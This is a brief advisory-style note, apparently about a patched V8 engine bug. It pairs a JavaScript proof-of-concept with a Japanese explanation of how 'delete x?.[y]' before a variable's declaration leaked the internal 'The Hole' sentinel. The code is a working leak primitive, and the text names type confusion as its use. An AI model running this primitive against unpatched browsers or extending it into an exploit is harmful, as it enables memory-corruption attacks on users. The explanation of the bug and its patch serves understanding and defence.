
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
変数 y が宣言前にアクセスされました。通常は ReferenceError(TDZ)が発生しますが、古い V8 では delete x?.[y] と組み合わさるとチェックが失敗し、内部のセンチネル値「The Hole」が返されました。
V8 は TDZ チェックを一度だけ行い、その後 y が有効であると誤って仮定していました。これにより、「The Hole」がユーザーコードに漏れ出す可能性がありました。
パッチにより、アクセスごとに新しい TDZ チェック(ThrowReferenceErrorIfHole)が強制され、初期化前の y は常に例外をスローするようになりました。
影響: 攻撃者は「The Hole」を捕捉し、型混乱、スタックトリック、スコープバイパスに悪用する可能性があります。